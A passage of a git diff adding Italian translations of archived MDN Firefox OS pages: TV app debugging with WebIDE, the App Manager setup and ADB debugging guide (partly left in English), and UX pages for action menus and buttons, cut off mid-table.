+ <li>Se non l'hai ancora avviato, segui le istruzioni nella sezione precedente {{anch("Eseguire nel simulatore")}} per avviare l'ambiente per TV all'interno del simulatore di Firefox OS (ricordati di aggiungere il parametro <code>-start-debugger-server 6000</code>).</li>
+ <li>Da WebIDE, clicca <em>Select Runtime</em> nell'angolo in alto a destra quindi seleziona <em>Remote Runtime</em> dal menu.<br>
+  <img alt="" src="https://mdn.mozillademos.org/files/10452/11.37.40.png"></li>
+ <li>Assicurati di digitare <em>localhost:6000</em> nella form e premi <em>OK</em>.<br>
+  <img alt="" src="https://mdn.mozillademos.org/files/10454/11.37.47.png"></li>
+ <li>Clicca sull'icona <em>Install and Run</em> (l'icona di "avvio") di WebIDE. Dovresti ora vedere la tua app in esecuzione all'interno del Simulatore di Firefox OS.<br>
+  <img alt="" src="https://mdn.mozillademos.org/files/10466/11.39.40%202.png"></li>
+ <li>Ora clicca sull'icona di <em>Debug App</em> (l'icona "strumento") di WebIDE per avviare il debug della tua app direttamente nel simulatore utilizzando la <a href="/en-US/docs/Tools/Tools_Toolbox">Toolbox</a> di DevTools.<br>
+  <img alt="" src="https://mdn.mozillademos.org/files/10468/11.40.10%202.png"></li>
+</ol>
+
+<div class="note">
+<p><strong>Nota</strong>: Puoi trovare maggiori informazioni sulle modalità di debug delle tue app leggendo <a href="/en-US/docs/Tools/WebIDE/Running_and_debugging_apps#Debugging_apps">Debugging apps</a>.</p>
+</div>
+
+<h2 id="Interagire_con_meccanismi_di_controllo_remoto_per_TV">Interagire con meccanismi di controllo remoto per TV</h2>
+
+<p>Una delle differenze più evidenti fra telefoni e TV è la disponibilità di meccanismi di input. In generale, la TV non ha un touch screen, di conseguenza le app non possono essere controllate da eventi di mouse o di touch. In questo caso il meccanismo di controllo è rappresentato dal telecomando del televisore attraverso la pressione dei tasti.</p>
+
+<p>Il focus è un altro aspetto importante da evidenziare. E' importante assicurarsi che il focus sia sempre sull'elemento corretto, non potendo selezionare direttamente l'elemento sulla TV tramite pressione sullo schermo.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: I tasti dei telecomandi sono definiti nella specifica W3C <em>DOM Level 3 KeyboardEvent key Values</em>; vedi la sezione <a href="http://www.w3.org/TR/DOM-Level-3-Events-key/#keys-media-controller">Media Controller Keys</a>.</p>
+</div>
+
+<h2 id="Vedi_inoltre">Vedi inoltre</h2>
+
+<p>Sviluppare app per TV è molto simile a come avviene per ogni altro dispositivo. Devi sviluppare codice seguendo gli standard Web, progettare l'interfaccia in modalità responsive e rispettare le caratteristiche specifiche di piattaforma.</p>
+
+<ul>
+ <li><a href="/en-US/Firefox_OS/Introduction">Firefox OS introduction</a></li>
+ <li><a href="/en-US/Apps/Build">Building Web apps</a></li>
+ <li><a href="/en-US/Apps/Build/Building_apps_for_Firefox_OS">Building apps for Firefox OS</a></li>
+ <li><a href="/en-US/Apps/Design/UI_layout_basics">UI layout basics</a></li>
+</ul>
+
+<p>Ci sono comunque alcune differenze di concetto e di interazione, Molte di queste sono descritte nella sezione <a href="/en-US/Apps/Design/Firefox_OS_TV_UX">Firefox OS for TV UX Overview</a> di MDN.</p>
+
+<ul>
+ <li><a href="/en-US/Apps/Design/Firefox_OS_TV_UX/App_layout_guide">TV app layout guide</a></li>
+ <li><a href="/en-US/Apps/Design/Firefox_OS_TV_UX/Building_blocks">TV building blocks</a></li>
+ <li><a href="/en-US/Apps/Design/Firefox_OS_TV_UX/Icon_design">TV icon design</a></li>
+ <li><a href="/en-US/Apps/Design/Firefox_OS_TV_User_Interface_Animation_Design">Firefox OS TV User Interface &amp; Animation Design</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/TVs_connected_devices/Web_animations_on_large_screen">Web animations on large screens</a></li>
+</ul>
+
+<p>Inoltre, leggi i seguenti:</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/TVs_connected_devices/How_to_connect_WebIDE_to_TV_%28VIErA%29">How to connect WebIDE to TV (VIErA CX/CR series)</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Platform/Keyboard_events_in_Firefox_OS_TV">Keyboard events in Firefox OS TV</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/TVs_connected_devices/TV_broadcast_streams_Firefox_OS">TV broadcast streams on Firefox OS products</a></li>
+</ul>
diff --git a/files/it/archive/b2g_os/usare_l_app_manager/index.html b/files/it/archive/b2g_os/usare_l_app_manager/index.html
new file mode 100644
index 0000000000..e6171ce168
--- /dev/null
+++ b/files/it/archive/b2g_os/usare_l_app_manager/index.html
@@ -0,0 +1,247 @@
+---
+title: Usare l'App Manager
+slug: Archive/B2G_OS/usare_l_app_Manager
+translation_of: Archive/B2G_OS/Using_the_App_Manager
+---
+<div class="summary">
+<p>L'app manager è uno strumento disponibile nella versione per Desktop di Firefox. Fornisce molti strumenti utili per aiutarti a testare , sviluppare e debuggare, direttamente dal tuo browser, applicazioni web HTML5 su Firefox OS phone e Firefox OS simulator.</p>
+</div>
+
+<p style="text-align: center;">{{EmbedYouTube("z1Bxg1UJVf0")}}</p>
+
+<p>L'App Manager è composto da:</p>
+
+<ul>
+ <li>Un <a href="#Apps_panel"><em>Apps panel</em></a>, che gestise le applicazioni locali (codice sorgente di app situate sul tuo computer) e app esterne in hosting. Avrai la possibilità di creare pacchetti e installare le tue app su un device fisico o su un simulatore e farne il debug usando il Toolbox</li>
+ <li>Un <a href="#Device_panel"><em>Device panel</em></a>, che mostra informazioni sull'apparato collegato incluse: la verisone di Firefox OS instalata, i permessi necessari per usare le device APIs sull'apparato e le app installate</li>
+ <li><a href="/en-US/docs/Tools_Toolbox"><em>Toolboxes</em></a>, che sono dei di strumenti di sviluppo (web console, inspector, debugger, etc.) che possono essere connessi ad una app in esecuzione attraverso il "Apps panel" al fine di eseguire operazioni di debug</li>
+</ul>
+
+<h2 id="Setup_rapido"><a name="Configuring_device">Setup rapido:</a></h2>
+
+<p>Questa sezione è progettata per portarti "up and running" il più velocemente possibile;; se avessi bisogno di informazioni più dettagliate puoi andare alla sezione {{ anch("Device and system configuration") }}  e ominciare da quel punto. Vedi anche la sezione {{ anch("Troubleshooting") }} se hai problemi e cerchi aiuto.</p>
+
+<ol>
+ <li>Controlla di avere Firefox Desktop 26+ installato</li>
+ <li>Apri l'App Manager (nella barra degli indirizzi, scrivi <code>about:app-manager</code>)</li>
+ <li>Se non possiedi un terminale fisico:
+  <ol>
+   <li><a href="https://ftp.mozilla.org/pub/mozilla.org/labs/fxos-simulator/">Installa il Firefox OS Simulator</a></li>
+   <li>Nella toolbar, in basso dell'App Manager's, fai click su <em>Start Simulator</em>, poi fai click sul nome del simulatore installato, che dovrebbe apparire.</li>
+  </ol>
+ </li>
+ <li>Se hai un apparato fisico:
+  <ol>
+   <li>Assicurari che il terminale abbia la versione di Firegox OS maggiore di 1.2+</li>
+   <li>Su Windows assicurati di aver installato i drivers forniti dal costruttore del telefono</li>
+   <li>Nelle impostazioni del tuo apparato, disabilita il Blocco dello Schermo (<code>Settings &gt; <code>Screen Lock</code></code>) e abilita il Debug Remoto (<code>Settings &gt; Device information &gt; More information &gt; Developer</code>)</li>
+   <li><a href="https://ftp.mozilla.org/pub/mozilla.org/labs/fxos-simulator/">Installa lo ADB Helper</a> add-on su Firefox Desktop</li>
+   <li>Connetti il tuo apparato al tuo computer con un cavo USB</li>
+   <li>Dovresti vedere il nome del tuo apparato nella barra in basso dell'App Manager. Fai click sopra di esso.</li>
+  </ol>
+ </li>
+ <li>La barra in basso dovrebbe visualizzare la scritta: "Connected to: xxx"</li>
+ <li>Fai click su <em>Apps</em> panel e aggiungi una app (packaged or hosted)</li>
+ <li>Il pulsante <em>Refresh</em> convalida la tua applicazione e la installa sul Simulatore/Apparato</li>
+ <li>Il pulsante <em>Debug</em> connette gli strumenti di sviluppo all'applicazione in esecuzione</li>
+ <li><strong>Vedi la sezione {{ anch("Troubleshooting") }} se hai problemi e cerchi aiuto.</strong></li>
+</ol>
+
+<h2 id="Configurazione_del_sistema_e_dell'Apparato">Configurazione del sistema e dell'Apparato</h2>
+
+<p>La prima cosa che devi fare quando usi l'App Manager è assicurarti che il tuo sistema e il tuo telefono siano configurati conrrettamente. Questa sezione ti guiderà attraverso passo per passo attraverso le configurazioni necessarie.</p>
+
+<h3 id="Firefox_1.2_necessario">Firefox 1.2+ necessario</h3>
+
+<p>Assicurati che sul tuo apparato sia installato Firefox OS 1.2/Boot2Gecko 1.2 o superiore. Per controllare quale versione di Firefox OS sia installato sul terminale, <code>Settings &gt; Device Information &gt; Software</code>.</p>
+
+<p>Se non hai una versione sufficentemente aggiornata, devi installare una nightly build di Firefox 1.2+, oppure configurarne e compilarne una da solo dal codice sorgente.</p>
+
+<p>Builds disponibili:</p>
+
+<ul>
+ <li><a href="http://downloads.geeksphone.com/">Geeksphone Keon/Peak builds</a> (per trovare maggiori informazioni sul loro uso puoi leggere <a href="/en-US/docs/Mozilla/Firefox_OS/Developer_phone_guide/Updating_and_Tweaking_Geeksphone">Updating and Tweaking your Firefox OS Developer Preview phone/Geeksphone</a>)</li>
+ <li>altro a seguire</li>
+</ul>
+
+<p>Per compilare da solo la dua distribuzione di Firefox OS 1.2+, segui le istruzioni che trovi a <a href="/en-US/docs/Mozilla/Firefox_OS/Building_and_installing_Firefox_OS">Building and installing Firefox OS</a>, incominciando da <a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_build_prerequisites">Firefox OS build prerequisites</a>.</p>
+
+<h3 id="Debug_remoto">Debug remoto</h3>
+
+<p>Devi, poi, abilitare il debug remoto in Firefox OS. Per farlo, vai in <code>Settings &gt; Device information &gt; More information &gt; Developer</code> e spunta la casella il Remote Debugging.</p>
+
+<h3 id="Adb_Helper_Add-on" name="Adb_Helper_Add-on">ADB o ADB helper</h3>
+
+<p>Il processo usa il Android Debug Bridge (ADB) per mantenere la connessione e la comunicazione tra apparato e computer. Ci sono due modalità di funzionamento per ADB:</p>
+
+<ul>
+ <li>
+  <p>Permettere a Firefox di gestire ADB (recommandato). <a href="https://ftp.mozilla.org/pub/mozilla.org/labs/fxos-simulator/">Installa lo ADB Helper add-on</a>. Ciò rende il processo piu facile. Con questo componente installato, non c'è bisogno di installare lo ADB, e non c'è bisogno di digitare il comando <code>adb forward</code> : tutto è gestito dall'add-on.</p>
+  <a href="https://ftp.mozilla.org/pub/mozilla.org/labs/fxos-simulator/" style="margin-bottom: 20px; padding: 10px; text-align: center; border-radius: 4px; display: inline-block; background-color: #81BC2E; white-space: nowrap; color: white; text-shadow: 0px 1px 0px rgba(0, 0, 0, 0.25); box-shadow: 0px 1px 0px 0px rgba(0, 0, 0, 0.2), 0px -1px 0px 0px rgba(0, 0, 0, 0.3) inset;" title="https://addons.mozilla.org">Download ADB Helper Add-on</a></li>
+ <li>Usare ADB manualmente. Devi averlo instalato sul tuo computer: fai il download e installa <code>adb</code> come spiegato in <a href="/en-US/Firefox_OS/Debugging/Installing_ADB">Installing ADB</a>. Dovrai abilitare il port forwarding digitando i seguenti comandi nel terminale:
+  <pre>adb forward tcp:6000 localfilesystem:/data/local/debugger-socket</pre>
+  Dovrai eseguire digitare tale comando ogni volta che il telefono è disconnesso e riconnesso oppure riavviato.</li>
+</ul>
+
+<div class="note">
+<p><strong>Nota</strong>: Non è necessario eseguire questo comando se installi ADB Helper Add-on.</p>
+</div>
+
+<h2 id="Connettere_il_tuo_apparato_all'App_Manager">Connettere il tuo apparato all'App Manager</h2>
+
+<p>Finita la configurazione , puoi collegare l'apparato al computer e far partire l'App Manager:</p>
+
+<ol>
+ <li>Connetti l'apparato al computer con il cavo USB.</li>
+ <li>Disabilita lo Screen lock sul tuo apparato andando in <code>Settings &gt; Screen Lock</code> e togliendo lo spunto a <code>Lock Screen</code> . Il motivo per cui è il passaggio precedente è una buona idea poichè lo screen lock determina la disconnissione del terminale; ciò significa che non è più disponibile per il debugging.</li>
+ <li>Apri l'App Manager — Su Firefox Desktop seleziona dal menu <code>Tools &gt; Web Developer &gt; App Manager</code>, o digita <code>about:app-manager</code> nella barra degli indirizzi.</li>
+ <li>Sul fonfo della tab dell'App Manager, vedrai una barra di stato della connessione (vedi screenshot sotto). Dovresti poter connettere il tuo apparato premendo il bottone "Connect to localhost:6000".</li>
+ <li>Se va tutto bene, dovrebbe comparitr una scritta sul terminale: "An incoming request to permit remote debugging connection was detected. Allow connection?". Tap the OK button (You may also have to press the power button on the phone so you can see the prompt.) The connection status bar should update to say "Connected to B2G", with a Disconnect button available to press if you want to cancel the connection.</li>
+</ol>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/6263/connection-status.png" style="width: 600px; height: 30px; display: block; margin: 0px auto;"></p>
+
+<div class="note">
+<p>Note that the other controls in the connection status bar allow you to connect a simulator to the App Manager, which we cover in the next section, below, and change the port that the connection happens on. If you change the port, you'll also need to enable port forwarding for this port as well, as instructed in the {{anch("Enable port forwarding")}} section, above.</p>
+</div>
+
+<h2 id="Using_a_Firefox_OS_Simulator_Add-on"><a name="Simulator">Using a Firefox OS Simulator Add-on</a></h2>
+
+<p>If you haven't got a real device available to use with App Manager, you can still try it out using a <a href="/en-US/docs/Tools/Firefox_OS_Simulator">Firefox OS Simulator</a> Add-on. To start off, install the simulator with the following button (multiple versions are available; you are advised to install them all, for maximum flexibility):</p>
+
+<p><a href="https://ftp.mozilla.org/pub/mozilla.org/labs/fxos-simulator/" style="margin-bottom: 20px; padding: 10px; text-align: center; border-radius: 4px; display: inline-block; background-color: #81BC2E; white-space: nowrap; color: white; text-shadow: 0px 1px 0px rgba(0, 0, 0, 0.25); box-shadow: 0px 1px 0px 0px rgba(0, 0, 0, 0.2), 0px -1px 0px 0px rgba(0, 0, 0, 0.3) inset;">Install Simulator</a></p>
+
+<p>Once you've installed the simulator(s), you need to go to the connection status bar at the bottom of the App Manager tab, and click the "Start simulator" button. At least three buttons will appear:</p>
+
+<ul>
+ <li>"Firefox OS 1.3", "Firefox OS 1.2" ... etc. (or something similar): the leftmost buttons contain the names of the simulator versions you have installed. Click one to start a connection to a simulator.</li>
+ <li>"Add": the middle button navigates to the simulator install links in this article, so you can add more Simulators (Firefox OS 1.2, Firefox OS 1.3, ...).</li>
+ <li>"Cancel": the right hand button cancels the connection.</li>
+</ul>
+
+<h2 id="Apps_panel_2"><a name="Apps_panel">Apps panel</a></h2>
+
+<p>Now everything is working, let's review the functionality available inside the App Manager, starting with the Apps panel. From here, you can import an existing app to push onto your device and debug:</p>
+
+<ul>
+ <li>To install a local app, click on the plus next to the "Add Packaged App" label and use the resulting file chooser dialog to select the directory your app is contained inside.</li>
+ <li>To install an externally hosted app, enter the absolute URL of the app's manifest file into the text field inside the "Add Hosted App" box, then press the plus button.</li>
+</ul>
+
+<p>Information about your app should appear on the right hand side of the window, as seen below:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/6261/apps-panel.png" style="width: 600px; height: 375px; display: block; margin: 0px auto;"></p>
+
+<h3 id="Manifest_editor">Manifest editor</h3>
+
+<p>From Firefox 28 onwards, the Apps Panel includes an editor for the app manifest:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/6613/apps-panel-fx-28.png" style="width: 600px; display: block; margin: 0px auto;"></p>
+
+<h3 id="Debugging">Debugging</h3>
+
+<p>Clicking on <em>"Update"</em> will update (install) the app on the device. Clicking on <em>"debug"</em> will connect a toolbox to the app, allowing you to debug its code directly:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/6265/debug.png" style="width: 600px; height: 375px; display: block; margin: 0px auto;"></p>
+
+<div class="note">
+<p>Note: You'll enjoy playing around with the toolbox — try altering the DOM, CSS etc. and you'll see the updates reflected on the device in realtime. Such updates will be saved on the installed app code; you'll see them next time you open the app on the device.</p>
+</div>
+
+<p>Before Firefox 28, the tools are launched in a separate window. From Firefox 28 onwards, the tools are launched in a separate tab in the App Manager itself, alongside the Apps and Device tabs. The tab is given your app's icon so it's easy to find:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/6615/toolbox-fx-28.png" style="width: 600px; height: 375px; display: block; margin: 0px auto;"></p>
+
+<h3 id="Errors">Errors</h3>
+
+<p>If an app was not added successfully — for example if the URL was incorrect, or you selected a packaged app folder — an entry will be added to the page for this app, but this will include error information.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/6259/apps-error.png" style="width: 600px; height: 375px; display: block; margin: 0px auto;"></p>
+
+<p>You can also delete an app from this view, by hovering over the App name/description on the left of the window, and pressing the "X" button that appears in each case. This however doesn't remove the app from the device. To do that you need to manually remove the app using the device itself.</p>
+
+<h2 id="Device_panel_2"><a name="Device_panel">Device panel</a></h2>
+
+<p>The <em>Device</em> tab displays information about the connected device. From the <em>"</em>Installed Apps<em>"</em> window, apps on the device can be started and debugged.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/6267/device-tab.png" style="width: 600px; height: 375px; display: block; margin: 0px auto;"></p>
+
+<div class="note">
+<p>Note: Certified Apps are not listed by default. <a href="#Debugging_Certified_Apps">See how to debug certified apps</a>.</p>
+</div>
+
+<p><a name="permissions"></a>The "Permissions" window shows the required priviledges for different <a href="/en-US/docs/WebAPI">Web APIs</a> on the current device:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/6269/permissions.png" style="width: 600px; height: 375px; display: block; margin: 0px auto;"></p>
+
+<p>Finally, you can take a screenshot of the current device display by clicking the "Screenshot" button. The screenshot appears in a new tab on Firefox, and from there you can save or discard it as you wish.</p>
+
+<h2 id="Debugging_Certified_Apps_2"><a name="Debugging_Certified_Apps">Debugging Certified Apps</a></h2>
+
+<p>Currently only devices running a development build of Firefox OS 1.2 are capable of debugging certified apps. If you have a development build, you can enable certified app debugging by changing the pref <code>devtools.debugger.forbid-certified-apps</code> to <code>false</code> in your profile. To do this, follow the steps below:</p>
+
+<ol>
+ <li>
+  <p>On your computer, enter the following command in Terminal/console to enter your device's filesystem via the shell:</p>
+
+  <pre class="brush: bash">adb shell</pre>
+
+  <p>Your prompt should change to <code>root@android</code>.</p>
+ </li>
+ <li>
+  <p>Next, stop B2G running using the following command:</p>
+
+  <pre class="brush: bash">stop b2g</pre>
+ </li>
+ <li>
+  <p>Navigate to the following directory:</p>
+
+  <pre>cd /data/b2g/mozilla/*.default/</pre>
+ </li>
+ <li>
+  <p>Here, update the prefs.js file with the following line:</p>
+
+  <pre class="brush: js">echo 'user_pref("devtools.debugger.forbid-certified-apps", false);' &gt;&gt; prefs.js</pre>
+ </li>
+ <li>
+  <p>After you've finished editing and saving the file, start B2G again using the following command:</p>
+
+  <pre class="brush: bash">start b2g</pre>
+ </li>
+ <li>
+  <p>Exit the android filesystem using the <code>exit</code> command; this will return you to your normal terminal prompt.</p>
+ </li>
+ <li>
+  <p>Next, reconnect to the App Manager and you should see certified apps appear for debugging.</p>
+ </li>
+</ol>
+
+<div class="note">
+<p>Note: If you want to add this preference to your Gaia build you can run <code>make DEVICE_DEBUG=1 reset-gaia</code>.</p>
+</div>
+
+<h2 id="Troubleshooting_2"><a name="Troubleshooting">Troubleshooting</a></h2>
+
+<p id="My_device_is_not_recognized">If the device is not recognized:</p>
+
+<ul>
+ <li>Read the <a href="#Configuring_device">Device and system configuration</a> section thoroughly, and make sure all the steps are followed:</li>
+ <li>Is your device running at least Firefox OS 1.2?</li>
+ <li>Don't see all the apps? Do you need to enable <a href="#Debugging_Certified_Apps">Certified Apps debugging</a>?</li>
+ <li>Did you enable "Remote Debugging" in the settings of your phone?</li>
+ <li>If you are not using the <a href="#Adb_Helper_Add-on">ADB Helper add-on</a>:
+  <ul>
+   <li>Did you successfully run the <code>adb forward</code> command?</li>
+  </ul>
+ </li>
+ <li>If you are using the <a href="#Adb_Helper_Add-on">ADB Helper add-on</a> and your device is not listed in the bottom toolbar:
+  <ul>
+   <li>If you use Linux, <a href="http://developer.android.com/tools/device.html#setting-up">make sure to setup udev correctly</a></li>
+   <li>If you use Windows, <a href="http://developer.android.com/tools/device.html#setting-up">make sure to install the appropriate drivers</a></li>
+  </ul>
+ </li>
+ <li>See <strong>"???????"</strong> instead of the device name on Linux? You have permissions issues. <a href="http://developer.android.com/tools/device.html#setting-up">Make sure to setup udev correctly</a>.</li>
+ <li>Is your phone screen unlocked?</li>
+</ul>
+
+<p>Can't connect your device to the App Manager or start the simulator? <a href="https://wiki.mozilla.org/DevTools/GetInvolved#Communication">Let us know</a> or <a href="https://bugzilla.mozilla.org/enter_bug.cgi?alias=&amp;assigned_to=nobody%40mozilla.org&amp;attach_text=&amp;blocked=&amp;bug_file_loc=http%3A%2F%2F&amp;bug_ignored=0&amp;bug_severity=normal&amp;bug_status=NEW&amp;cf_blocking_b2g=---&amp;cf_crash_signature=&amp;cf_status_b2g18=---&amp;cf_status_b2g_1_1_hd=---&amp;cf_status_b2g_1_2=---&amp;cf_status_firefox24=---&amp;cf_status_firefox25=---&amp;cf_status_firefox26=---&amp;cf_status_firefox27=---&amp;cf_status_firefox_esr17=---&amp;cf_status_firefox_esr24=---&amp;cf_tracking_b2g18=---&amp;cf_tracking_firefox24=---&amp;cf_tracking_firefox25=---&amp;cf_tracking_firefox26=---&amp;cf_tracking_firefox27=---&amp;cf_tracking_firefox_esr17=---&amp;cf_tracking_firefox_esr24=---&amp;cf_tracking_firefox_relnote=---&amp;cf_tracking_relnote_b2g=---&amp;comment=&amp;component=Developer%20Tools%3A%20App%20Manager&amp;contenttypeentry=&amp;contenttypemethod=autodetect&amp;contenttypeselection=text%2Fplain&amp;data=&amp;defined_groups=1&amp;dependson=&amp;description=&amp;flag_type-203=X&amp;flag_type-37=X&amp;flag_type-41=X&amp;flag_type-5=X&amp;flag_type-607=X&amp;flag_type-720=X&amp;flag_type-721=X&amp;flag_type-737=X&amp;flag_type-748=X&amp;flag_type-781=X&amp;flag_type-787=X&amp;flag_type-791=X&amp;flag_type-799=X&amp;flag_type-800=X&amp;flag_type-802=X&amp;flag_type-803=X&amp;flag_type-809=X&amp;flag_type-825=X&amp;form_name=enter_bug&amp;keywords=&amp;maketemplate=Remember%20values%20as%20bookmarkable%20template&amp;op_sys=All&amp;priority=--&amp;product=Firefox&amp;qa_contact=developer.tools%40firefox.bugs&amp;rep_platform=x86&amp;requestee_type-203=&amp;requestee_type-41=&amp;requestee_type-5=&amp;requestee_type-607=&amp;requestee_type-748=&amp;requestee_type-781=&amp;requestee_type-787=&amp;requestee_type-791=&amp;requestee_type-800=&amp;short_desc=&amp;status_whiteboard=&amp;target_milestone=---&amp;version=Trunk">file a bug</a>.</p>
diff --git a/files/it/archive/b2g_os/ux/building_blocks/action_menu/index.html b/files/it/archive/b2g_os/ux/building_blocks/action_menu/index.html
new file mode 100644
index 0000000000..23fe4c62cb
--- /dev/null
+++ b/files/it/archive/b2g_os/ux/building_blocks/action_menu/index.html
@@ -0,0 +1,46 @@
+---
+title: Menu delle azioni
+slug: Archive/B2G_OS/UX/Building_blocks/Action_menu
+translation_of: Archive/B2G_OS/Firefox_OS_apps/Building_blocks/1.x/Action_menu
+---
+<p>Il menu delle azioni presenta una lista di azioni,relative all'app in uso, tra cui l'utente può scegliere. Leggi la <a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Action_menu/Coding" title="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Action_menu/Coding">Guida allo sviluppo</a> per i dettagli su come aggiungere il menu delle azioni alla tua app.</p>
+<h2 id="Caratteristiche">Caratteristiche</h2>
+<ul>
+  <li>Viene aperto da un bottone interno all'app; questi sono spesso contenuti in barre degli strumenti (ad esempio, nel Browser il bottone "Condividi").</li>
+  <li>Un menu delle azioni contiene uno o più elementi.</li>
+  <li>Il menu si espande in altezza per contenere i suoi elementi fino ad occupare l'intero schermo. Una volta esteso al massimo si può continuare a scorrere verticalmente.In generale è meglio cercare di non includere più di cinque elementi oltre al titolo del menu.</li>
+  <li>Il titolo è opzionale.</li>
+  <li>Ogni menu azioni si chiude quando:
+    <ul>
+      <li>Viene selezionata un'azione.</li>
+      <li>Viene premuto il bottone "Annulla".</li>
+    </ul>
+  </li>
+</ul>
+<h2 id="Aspetto">Aspetto</h2>
+<table class="fxosScreenGrid">
+  <tbody>
+    <tr>
+      <td>
+        <h3 id="Il_menu_aperto">Il menu aperto</h3>
+        <p><img alt="" src="https://mdn.mozillademos.org/files/4641/action-menu-idle.png" style="width: 320px; height: 480px;"></p>
+        <p>Il menu resta aperto e aspetta che l'utente scelga un elemento premendolo.</p>
+      </td>
+      <td>
+        <h3 id="Un_elemento_viene_premuto">Un elemento viene premuto</h3>
+        <p><img alt="" src="https://mdn.mozillademos.org/files/4635/action-menu.png" style="width: 320px; height: 480px;"></p>
+        <p>L'aspetto del menu mentre l'utente preme l'elemento "Option 03" con il dito.</p>
+      </td>
+    </tr>
+  </tbody>
+</table>
+<h2 id="Variazioni">Variazioni</h2>
+<p>Le principali variazioni all'aspetto del menu sono date dal titolo, che può esserci o no.</p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/4645/action-menu-variations.jpg" style="width: 1023px; height: 532px;"></p>
+<h2 id="Interazione">Interazione</h2>
+<p>Questo diagramma mostra il processo di interazione dell'utente con il menu delle azioni.</p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/4649/action-menu-flow-1.png" style="width: 731px; height: 1169px;"></p>
+<h2 id="Vedi_anche">Vedi anche</h2>
+<ul>
+  <li><a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Action_menu/Coding" title="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Action_menu/Coding">Guida allo sviluppo di un menu delle azioni</a></li>
+</ul>
diff --git a/files/it/archive/b2g_os/ux/building_blocks/bottoni/index.html b/files/it/archive/b2g_os/ux/building_blocks/bottoni/index.html
new file mode 100644
index 0000000000..446c9f3928
--- /dev/null
+++ b/files/it/archive/b2g_os/ux/building_blocks/bottoni/index.html
@@ -0,0 +1,231 @@
+---
+title: Bottoni
+slug: Archive/B2G_OS/UX/Building_blocks/Bottoni
+translation_of: Archive/B2G_OS/Firefox_OS_apps/Building_blocks/1.x/Button
+---
+<p>Svolgono un compito quando vengono premuti. Sono un elemento dell'interfaccia molto flessibile e possono avere una gran varietà di aspetti e stili. Vedi la <a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Button/Coding" title="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Button/Coding">Guida allo sviluppo</a> per le specifiche e le descrizioni di come dovrebbero apparire e funzionare.</p>
+<h2 id="Caratteristiche">Caratteristiche</h2>
+<ul>
+  <li>I bottoni hanno due componenti: un <em>visual target</em> e un <em>hit target.</em> Lo <em>hit target</em> è sempre più grande, per rendere più semplice premere il bottone.</li>
+  <li>I bottoni hanno due stati: normale e premuto.</li>
+  <li>I bottoni possono anche essere <strong>disabilitati</strong>, il che significa che non possono essere premuti dall'utente e sono scuriti per indicare il loro stato disabilitato.</li>
+</ul>
+<p>Ci sono molti tipi di bottoni:</p>
+<dl>
+  <dt>
+    Bottoni azione</dt>
+  <dd>
+    Usati quando le azioni sono poche e non è richiesta una lista. Il bottone principale è sempre indicato con un colore speciale.</dd>
+  <dt>
+    Bottoni lista</dt>
+  <dd>
+    Usato quando deve essere visualizzata una lista di azioni o per visualizzare un selettore.</dd>
+  <dt>
+    Bottoni per l'input</dt>
+  <dd>
+    Usati quando è richiesto un input da associare all'azione.</dd>
+  <dt>
+    Bottoni speciali/personalizzati</dt>
+  <dd>
+    Sono bottoni speciali per azioni specifiche come la registrazione, la chiamata, etc etc.</dd>
+</dl>
+<h2 id="Aspetto">Aspetto</h2>
+<p>I bottoni normali dovrebbero apparire così. Non dimenticare che puoi usare i fogli di stile e immagini di background per personalizzare l'aspetto dei bottoni. Vedi la <a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Button/Coding" title="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Button/Coding">Guida allo sviluppo</a> per capire come fare le personalizzazioni.</p>
+<h3 id="Bottoni_azione">Bottoni azione</h3>
+<p>Usati quando le azioni sono poche e non è richiesta una lista. Il bottone principale è sempre indicato con un colore speciale.</p>
+<table class="standard-table">
+  <thead>
+    <tr>
+      <th scope="row"> </th>
+      <th scope="col">Primary action</th>
+      <th scope="col">Secondary action</th>
+      <th scope="col">Delete</th>
+    </tr>
+  </thead>
+  <tbody>
+    <tr>
+      <th scope="row">Normal</th>
+      <td><img alt="" src="https://mdn.mozillademos.org/files/4693/btn-main-normal.jpg" style="width: 140px; height: 40px;"></td>
+      <td><img alt="" src="https://mdn.mozillademos.org/files/4699/btn-secondary-normal.jpg" style="width: 140px; height: 40px;"></td>
+      <td><img alt="" src="https://mdn.mozillademos.org/files/4687/btn-delete-normal.jpg" style="width: 140px; height: 40px;"></td>
+    </tr>
+    <tr>
+      <th scope="row">Pressed</th>
+      <td><img alt="" src="https://mdn.mozillademos.org/files/4691/btn-main-lit.jpg" style="width: 140px; height: 40px;"></td>
+      <td><img alt="" src="https://mdn.mozillademos.org/files/4697/btn-secondary-lit.jpg" style="width: 140px; height: 40px;"></td>
+      <td><img alt="" src="https://mdn.mozillademos.org/files/4685/btn-delete-lit.jpg" style="width: 140px; height: 40px;"></td>
+    </tr>
+    <tr>
+      <th scope="row">Disabled</th>
+      <td><img alt="" src="https://mdn.mozillademos.org/files/4689/btn-main-disabled.jpg" style="width: 140px; height: 40px;"></td>
+      <td><img alt="" src="https://mdn.mozillademos.org/files/4695/btn-secondary-disabled.jpg" style="width: 140px; height: 40px;"></td>
